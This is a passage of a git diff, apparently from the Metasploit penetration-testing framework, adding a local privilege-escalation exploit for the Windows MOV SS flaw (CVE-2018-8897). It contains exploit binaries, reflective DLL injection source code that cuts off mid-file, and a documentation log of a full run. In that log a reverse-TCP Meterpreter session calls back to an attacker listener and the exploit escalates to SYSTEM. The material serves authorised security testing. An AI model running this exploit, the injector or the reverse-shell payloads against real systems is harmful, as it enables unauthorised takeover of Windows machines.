diff --git a/data/exploits/cve-2018-8897-exe/cve-2018-8897-exe.exe b/data/exploits/cve-2018-8897/cve-2018-8897-exe.exe similarity index 99% rename from data/exploits/cve-2018-8897-exe/cve-2018-8897-exe.exe rename to data/exploits/cve-2018-8897/cve-2018-8897-exe.exe index ee84f13825..e464fc1322 100755 Binary files a/data/exploits/cve-2018-8897-exe/cve-2018-8897-exe.exe and b/data/exploits/cve-2018-8897/cve-2018-8897-exe.exe differ diff --git a/data/exploits/cve-2018-8897/reflective_dll.x64.dll b/data/exploits/cve-2018-8897/reflective_dll.x64.dll new file mode 100755 index 0000000000..2059c2432c Binary files /dev/null and b/data/exploits/cve-2018-8897/reflective_dll.x64.dll differ diff --git a/documentation/modules/exploit/windows/local/mov_ss.md b/documentation/modules/exploit/windows/local/mov_ss.md index de273af1c1..1f129bc9f5 100644 --- a/documentation/modules/exploit/windows/local/mov_ss.md +++ b/documentation/modules/exploit/windows/local/mov_ss.md @@ -1,10 +1,119 @@ -# Description +## Description This module exploits a MOV SS vulnerability that is specifically made against Microsoft Windows -(excpet for Windows XP). It will upload a pre-compiled exploit onto the target machine, followed +(except for Windows XP). + +Depending on the value of `USE_INJECTION` It will either inject a dll with the exploit +code into a process, or it will upload a pre-compiled exploit onto the target machine, followed by the final payload (such as a Meterpreter) in order to gain remote code execution. -# Vulnerable Target +## Vulnerable Target Please note that this module may not work with certain hypervisors (such as VMWare). You should -test it on a real machine if possible. \ No newline at end of file +test it on a real machine if possible. + +## Verification Steps +``` +msf5 exploit(multi/handler) > run + +[*] Started reverse TCP handler on 192.168.135.111:4567 +[*] Sending stage (206403 bytes) to 192.168.136.142 + +meterpreter > getuid +Server username: DESKTOP-QGIC71I\msfuser +meterpreter > sysinfo +Computer : DESKTOP-QGIC71I +OS : Windows 10 (Build 16299). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > background +[*] Backgrounding session 1... +msf5 exploit(multi/handler) > use exploit/windows/local/mov_ss +msf5 exploit(windows/local/mov_ss) > show options + +Module options (exploit/windows/local/mov_ss): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXECUTE_DELAY 3 no The number of seconds to delay before executing the exploit if USE_INJECTION=false + EXPLOIT_NAME no The filename to use for the exploit binary if USE_INJECTION=false (%RAND% by default). + PATH no Path to write binaries if if USE_INJECTION=false(%TEMP% by default). + PAYLOAD_NAME no The filename for the payload to be used on the target host if USE_INJECTION=false (%RAND%.exe by default). + SESSION 1 yes The session to run this module on. + USE_INJECTION true yes Use in-memory dll injection rather than exe file uploads. + + +Payload options (generic/shell_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.135.111 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Windows x64 + + +msf5 exploit(windows/local/mov_ss) > set payload windows/x64/meterpreter/reverse_tcp +payload => windows/x64/meterpreter/reverse_tcp +msf5 exploit(windows/local/mov_ss) > set lhost 192.168.135.111 +lhost => 192.168.135.111 +msf5 exploit(windows/local/mov_ss) > set lport 4567 +lport => 4567 +msf5 exploit(windows/local/mov_ss) > run + +[*] Started reverse TCP handler on 192.168.135.111:4567 +[*] Attempting to PrivEsc on DESKTOP-QGIC71I via session ID: 1 +[*] Checking target... +[*] Attempting to PrivEsc on DESKTOP-QGIC71I via session ID: 1 +[*] Target Looks Good... trying to start notepad +[*] Launching notepad to host the exploit... +[+] Process 4964 launched. +[*] Reflectively injecting the exploit DLL into 4964... +[*] Exploit injected. Injecting payload into 4964... +[*] Payload injected. Executing exploit... +[+] Exploit finished, wait for (hopefully privileged) payload execution to complete. +[*] Sending stage (206403 bytes) to 192.168.136.142 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > exit +[*] Shutting down Meterpreter... + +[*] 192.168.136.142 - Meterpreter session 3 closed. Reason: User exit +msf5 exploit(windows/local/mov_ss) > set USE_INJECTION false +USE_INJECTION => false +msf5 exploit(windows/local/mov_ss) > run + +[*] Started reverse TCP handler on 192.168.135.111:4567 +[*] Attempting to PrivEsc on DESKTOP-QGIC71I via session ID: 1 +[*] Exploit uploaded on DESKTOP-QGIC71I to C:\Users\msfuser\AppData\Local\Temp\ACLgNJAJ.exe +[*] Payload (7168 bytes) uploaded on DESKTOP-QGIC71I to C:\Users\msfuser\AppData\Local\Temp\kWDncKCjHtb.exe +[*] Running exploit C:\Users\msfuser\AppData\Local\Temp\ACLgNJAJ.exe with payload C:\Users\msfuser\AppData\Local\Temp\kWDncKCjHtb.exe +[*] Sending stage (206403 bytes) to 192.168.136.142 +^C[-] Exploit failed: Interrupt +msf5 exploit(windows/local/mov_ss) > sessions -l + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 meterpreter x64/windows DESKTOP-QGIC71I\msfuser @ DESKTOP-QGIC71I 192.168.135.111:4567 -> 192.168.136.142:49696 (192.168.136.142) + 4 meterpreter x64/windows NT AUTHORITY\SYSTEM @ DESKTOP-QGIC71I 192.168.135.111:4567 -> 192.168.136.142:49699 (192.168.136.142) + +msf5 exploit(windows/local/mov_ss) > exit +``` + +## Build instructions +For both the dll and exe, use Visual studio solutions found in +./external/source/exploits/cve-2018-8897 +then copy the resulting binaries to +./data/exploits/cve-2018-8897 diff --git a/external/source/exploits/cve-2018-8897/dll/LICENSE.txt b/external/source/exploits/cve-2018-8897/dll/LICENSE.txt new file mode 100644 index 0000000000..2a8a3b2663 --- /dev/null +++ b/external/source/exploits/cve-2018-8897/dll/LICENSE.txt @@ -0,0 +1,25 @@ +Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted +provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, this list of +conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright notice, this list of +conditions and the following disclaimer in the documentation and/or other materials provided +with the distribution. + + * Neither the name of Harmony Security nor the names of its contributors may be used to +endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/external/source/exploits/cve-2018-8897/dll/Readme.md b/external/source/exploits/cve-2018-8897/dll/Readme.md new file mode 100644 index 0000000000..814e6e7517 --- /dev/null +++ b/external/source/exploits/cve-2018-8897/dll/Readme.md @@ -0,0 +1,40 @@ +About +===== + +Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host. + +Injection works from Windows NT4 up to and including Windows 8, running on x86, x64 and ARM where applicable. + +Overview +======== + +The process of remotely injecting a library into a process is two fold. Firstly, the library you wish to inject must be written into the address space of the target process (Herein referred to as the host process). Secondly the library must be loaded into that host process in such a way that the library's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory. + +Assuming we have code execution in the host process and the library we wish to inject has been written into an arbitrary location of memory in the host process, Reflective DLL Injection works as follows. + +* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table. +* As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on. +* The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc. +* The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on. +* The library's headers and sections are loaded into their new locations in memory. +* The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses. +* The ReflectiveLoader will then process the newly loaded copy of its image's relocation table. +* The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory. +* Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate. + +Build +===== + +Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release mode to make inject.exe and reflective_dll.dll + +Usage +===== + +To test use the inject.exe to inject reflective_dll.dll into a host process via a process id, e.g.: + +> inject.exe 1234 + +License +======= + +Licensed under a 3 clause BSD license, please see LICENSE.txt for details. diff --git a/external/source/exploits/cve-2018-8897/dll/common/ReflectiveDLLInjection.h b/external/source/exploits/cve-2018-8897/dll/common/ReflectiveDLLInjection.h new file mode 100644 index 0000000000..4ae206b549 --- /dev/null +++ b/external/source/exploits/cve-2018-8897/dll/common/ReflectiveDLLInjection.h @@ -0,0 +1,53 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_METASPLOIT_ATTACH 4 +#define DLL_METASPLOIT_DETACH 5 +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); +typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// \ No newline at end of file diff --git a/external/source/exploits/cve-2018-8897/dll/inject/inject.vcxproj b/external/source/exploits/cve-2018-8897/dll/inject/inject.vcxproj new file mode 100755 index 0000000000..56e5b47275 --- /dev/null +++ b/external/source/exploits/cve-2018-8897/dll/inject/inject.vcxproj @@ -0,0 +1,256 @@ + + + + + Debug + ARM + + + Debug + Win32 + + + Debug + x64 + + + Release + ARM + + + Release + Win32 + + + Release + x64 + + + + {EEF3FD41-05D8-4A07-8434-EF5D34D76335} + inject + Win32Proj + inject + + + + Application + v120 + MultiByte + true + + + Application + v120 + MultiByte + true + + + Application + v120 + Unicode + + + Application + v120 + Unicode + + + Application + v120 + MultiByte + true + + + Application + v120 + Unicode + + + + + + + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>11.0.50727.1 + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + + + true + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + true + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + + + false + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + false + + + + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + EditAndContinue + ../common + + + true + Console + MachineX86 + + + + + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + + Level3 + EditAndContinue + ../common + + + true + Console + + + + + X64 + + + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + ProgramDatabase + ../common + + + true + Console + MachineX64 + + + + + MaxSpeed + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + ../common + + + true + Console + true + true + MachineX86 + + + + + MaxSpeed + true + WIN32;NDEBUG;_CONSOLE;WIN_ARM;%(PreprocessorDefinitions) + MultiThreaded + true + + + Level3 + ProgramDatabase + ../common + + + true + Console + true + true + $(OutDir)inject.arm.exe + %(AdditionalDependencies) + + + + + X64 + + + MaxSpeed + true + WIN64;NDEBUG;_CONSOLE;_WIN64;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + ../common + + + $(OutDir)inject.x64.exe + true + Console + true + true + MachineX64 + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2018-8897/dll/inject/inject.vcxproj.filters b/external/source/exploits/cve-2018-8897/dll/inject/inject.vcxproj.filters new file mode 100755 index 0000000000..5482d5ae49 --- /dev/null +++ b/external/source/exploits/cve-2018-8897/dll/inject/inject.vcxproj.filters @@ -0,0 +1,35 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2018-8897/dll/inject/src/GetProcAddressR.c b/external/source/exploits/cve-2018-8897/dll/inject/src/GetProcAddressR.c new file mode 100644 index 0000000000..2f10367b8c --- /dev/null +++ b/external/source/exploits/cve-2018-8897/dll/inject/src/GetProcAddressR.c @@ -0,0 +1,116 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "GetProcAddressR.h" +//===============================================================================================// +// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which +// wont be able to resolve exported addresses in reflectivly loaded librarys. +FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ) +{ + UINT_PTR uiLibraryAddress = 0; + FARPROC fpResult = NULL; + + if( hModule == NULL ) + return NULL; + + // a module handle is really its base address + uiLibraryAddress = (UINT_PTR)hModule; + + __try + { + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiNameOrdinals = 0; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; + PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; + + // get the VA of the modules NT Header + pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); + + pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress ); + + // get the VA for the array of addresses + uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions ); + + // get the VA for the array of name pointers + uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals ); + + // test if we are importing by name or by ordinal... + if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 ) + { + // import by ordinal... + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) ); + + // resolve the address for this imported function + fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) ); + } + else + { + // import by name... + DWORD dwCounter = pExportDirectory->NumberOfNames; + while( dwCounter-- ) + { + char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray )); + + // test if we have a match... + if( strcmp( cpExportedFunctionName, lpProcName ) == 0 ) + { + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // calculate the virtual address for the function + fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray )); + + // finish... + break; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + fpResult = NULL; + } + + return fpResult; +} +//===============================================================================================// diff --git a/external/source/exploits/cve-2018-8897/dll/inject/src/GetProcAddressR.h b/external/source/exploits/cve-2018-8897/dll/inject/src/GetProcAddressR.h new file mode 100644 index 0000000000..102a41defb --- /dev/null +++ b/external/source/exploits/cve-2018-8897/dll/inject/src/GetProcAddressR.h @@ -0,0 +1,36 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H +#define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H +//===============================================================================================// +#include "ReflectiveDLLInjection.h" + +FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ); +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2018-8897/dll/inject/src/Inject.c b/external/source/exploits/cve-2018-8897/dll/inject/src/Inject.c new file mode 100644 index 0000000000..9ef7509e8b --- /dev/null +++ b/external/source/exploits/cve-2018-8897/dll/inject/src/Inject.c @@ -0,0 +1,120 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include +#include "LoadLibraryR.h" + +#pragma comment(lib,"Advapi32.lib") + +#define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; } + +// Simple app to inject a reflective DLL into a process vis its process ID. +int main( int argc, char * argv[] ) +{ + HANDLE hFile = NULL; + HANDLE hModule = NULL; + HANDLE hProcess = NULL; + HANDLE hToken = NULL; + LPVOID lpBuffer = NULL; + DWORD dwLength = 0; + DWORD dwBytesRead = 0; + DWORD dwProcessId = 0; + TOKEN_PRIVILEGES priv = {0}; + +#ifdef _WIN64 + char * cpDllFile = "reflective_dll.x64.dll"; +#else +#ifdef WIN_X86 + char * cpDllFile = "reflective_dll.dll"; +#else WIN_ARM + char * cpDllFile = "reflective_dll.arm.dll"; +#endif +#endif + + do + { + // Usage: inject.exe [pid] [dll_file] + + if( argc == 1 ) + dwProcessId = GetCurrentProcessId(); + else + dwProcessId = atoi( argv[1] ); + + if( argc >= 3 ) + cpDllFile = argv[2]; + + hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); + if( hFile == INVALID_HANDLE_VALUE ) + BREAK_WITH_ERROR( "Failed to open the DLL file" ); + + dwLength = GetFileSize( hFile, NULL ); + if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) + BREAK_WITH_ERROR( "Failed to get the DLL file size" ); + + lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); + if( !lpBuffer ) + BREAK_WITH_ERROR( "Failed to get the DLL file size" ); + + if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) + BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); + + if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) + { + priv.PrivilegeCount = 1; + priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) + AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); + + CloseHandle( hToken ); + } + + hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); + if( !hProcess ) + BREAK_WITH_ERROR( "Failed to open the target process" ); + + hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL ); + if( !hModule ) + BREAK_WITH_ERROR( "Failed to inject the DLL" ); + + printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId ); + + WaitForSingleObject( hModule, -1 ); + + } while( 0 ); + + if( lpBuffer ) + HeapFree( GetProcessHeap(), 0, lpBuffer ); + + if( hProcess ) + CloseHandle( hProcess ); + + return 0; +} \ No newline at end of file diff --git a/external/source/exploits/cve-2018-8897/dll/inject/src/LoadLibraryR.c b/external/source/exploits/cve-2018-8897/dll/inject/src/LoadLibraryR.c new file mode 100644 index 0000000000..18b9e21ec4 --- /dev/null +++ b/external/source/exploits/cve-2018-8897/dll/inject/src/LoadLibraryR.c @@ -0,0 +1,233 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "LoadLibraryR.h" +//===============================================================================================// +DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress ) +{ + WORD wIndex = 0; + PIMAGE_SECTION_HEADER pSectionHeader = NULL; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + + pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); + + pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); + + if( dwRva < 